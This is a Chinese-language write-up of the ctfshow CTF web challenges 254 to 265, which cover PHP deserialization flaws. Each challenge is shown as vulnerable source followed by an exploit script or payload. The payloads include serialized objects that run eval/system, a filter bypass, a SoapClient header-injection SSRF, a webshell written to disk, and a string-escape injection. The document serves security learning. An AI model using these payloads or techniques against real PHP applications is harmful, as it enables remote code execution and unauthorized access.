web254
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
以get的方式传入username和password两个参数,其值为均为‘xxxxxx’,即可得到flag
payload:url/?username=xxxxxx&password=xxxxxx
web255
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
以get的方式传入username和password两个参数,然后通过反序列化一个cookie去还原一个ctfShowUser对象,再进行条件判断
exp:
<?php
class ctfShowUser {
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
}
$a = new ctfShowUser();
echo urlencode(serialize($a));
?>
通过bp抓包传入,得到flag
web256
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
相较于web255,在flag输出的地方,加了一个条件判断,只需要在序列化前改变它们的值即可
exp:
<?php
class ctfShowUser {
public $username='a';
public $password='xxxxxx';
public $isVip=true;
}
$a = new ctfShowUser();
echo urlencode(serialize($a));
?>
bp抓包传入,得到flag
web257
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
在backDoor类中有一个eval(),大概率要进行rce
在ctfShowUser类中,有一个构造方法__construct()和一个析构方法__destruct()
构造方法用于创建一个新的实例,并赋值给class
析构方法用于调用实例中的getInfo()方法
综上,只要将要一个backDoor实例赋值给class,然后通过修改$code的值即可进行rce
exp:
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
public $code="system('tac flag.php');";
public function getInfo(){
eval($this->code);
}
}
$a = new ctfShowUser();
echo urlencode(serialize($a));
?>
bp抓包传入,得到flag
web258
相较于web257,多了一个过滤,过滤了格式为“o或c后面一个':(分号)'再加上一个数字再加一个分号”的子串
在一个对象实例化的时候,就会出现这种格式,O开头后一个分号然后是类名的长度再加上一个分号
e.g.
<?php
class test {
public $name = 'john';
}
$a = new test();
echo serialize($a);
//O:4:"test":1:{s:4:"name";s:4:"john";}
?>
这时我们只需要再类名长度前加上一个‘+’即可,即:
O:+4:"test":1:{s:4:"name";s:4:"john";}
用str_replace()进行字符串替换即可
exp:
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
public $code="system('tac flag.php');";
public function getInfo(){
eval($this->code);
}
}
$a = new ctfShowUser();
$a = serialize($a);
$a= str_replace('O:', 'O:+',$a);
echo urlencode($a);
?>
bp抓包传入,得到flag
web259——php原生类SoapClient
由于本地php环境中的soap扩展并没有被正确地安装或启动,虽然经多方参考学习编写出了exp,但本地并没有成功运行
exp:
<?php
$ua = "Firefox\r\nContent-Type:application/x-www-form-urlencoded\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Length:12\r\n\r\ntoken=ctfshow";
$a = new SoapClient(null, array(
'uri' => '127.0.0.1',
'location' => 'http://127.0.0.1/flag.php',
'user_agent' => $ua
));
echo urlencode(serialize($a));
?>
等解决该问题后,来补上
web260
payload:url/?ctfshow=/ctfshow_i_love_36D/
直接传入即可
web261
<?php
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}
public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
__unserialize()和__wakeup()方法同时存在,在php 7.4 以上版本反序列化时会忽略__wakeup() 函数
__invoke()方法中有一个eval(),但并没有条件去触发这一个方法
__destruct()中有一个file_put_contents(),将$this->password的内容写入$this->username的指定文件中,我们可以用这个方法进行文件包含,但这前边有一个判断,是一个弱类型判断,且$this->code的值是由$this->username和$this->password拼接而成,我们可以用877(十六进制:0x36转十进制的值)作为$this->username指定文件的文件名,然后$this->password的值为一句话木马或直接执行系统命令
exp:
<?php
class ctfshowvip {
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
}
$a = new ctfshowvip("877.php", "<?php system('tac /flag_is_here'); ?>");
echo serialize($a);
?>
url直接传入
payload:url/?vip=O:10:"ctfshowvip":3:{s:8:"username";s:7:"877.php";s:8:"password";s:37:"<?php system('tac /flag_is_here'); ?>";s:4:"code";N;}
再访问877.php即可
web262——字符逃逸(增多型)
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
方法一——直接在message.php中传
这种方法不要用到字符串逃逸
只需让$msg->token=='admin'即可
exp:
<?php
class message{
public $token='admin';
}
$a = new message();
echo urlencode(base64_encode(serialize($a)));
?>
方法二——利用字符串逃逸
不在message中传,token已经被设定为user,根据方法一中得到flag的方式,应该是要让token值为admin
php在反序列化的时候,以';'作为字段的分割,以‘}’作为结尾
我们可以利用这一点,通过控制$to的值让其在序列化后提前闭合并将token的值替换为admin,即
O:7:"message":4:{s:4:"from";s:1:"f";s:3:"msg";s:1:"m";s:2:"to";s:1:"t";s:5:"token";s:4:"user";}
O:7:"message":4:{s:4:"from";s:1:"f";s:3:"msg";s:1:"m";s:2:"to";s:1:"t";s:5:"token";s:5:"admin";};s:5:"token";s:4:"user";}
将上面的替换成下面的
但替换后token的值的长度会改变
而php在反序列化的时候,会根据长度判断内容,并严格按照其序列化的规则实现反序列化
这里我们可以利用$umsg = str_replace('fuck', 'loveU', serialize($msg));,每当一个fuck被替换为loveU后长度便会增一,而我们要逃逸的字符串为
";s:5:"token";s:5:"admin";} //长度为27
因此,$to的值应该为fuck*27+";s:5:"token";s:5:"admin";}
payload:url/?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
url传入后,访问message.php,得到flag
web263——session反序列化漏洞
暂时并没有做出来,看了其他师傅的wp,也不是很理解,以后补上
web264
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
session_start();
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}
highlight_file(__FILE__);
下面是message.php的内容
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
session_start();
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_SESSION['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
本题和web262类似,但msg并没有被定义,直接串行不通
用字符逃逸的方法做
利用web262的payload,传入后,访问message.php,bp抓包,在Cookie头添加一个msg=1(注意用';'与前面的隔开)即可得到flag
web265
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-04 23:52:24
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
在将以get的方式传入的值还原为一个ctfshowAdmin对象后,又将该对象中的token属性值改变为一个MD5加密后的随机数,而这个随机数的生成没有设置随机种子(即:不可预测)
我们可以通过
$this->token = &$this->password
将password属性的应用赋给token,即token和password指向同一个内存空间(同一个值),对token的任何修改都将反映在password上
exp:
<?php
class ctfshowAdmin {
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
}
$a = new ctfshowAdmin(1, 2);
$a->token = &$a->password;
echo serialize($a);
?>
payload:url/?ctfshow=O:12:"ctfshowAdmin":2:{s:5:"token";i:2;s:8:"password";R:2;}
url直接传入即可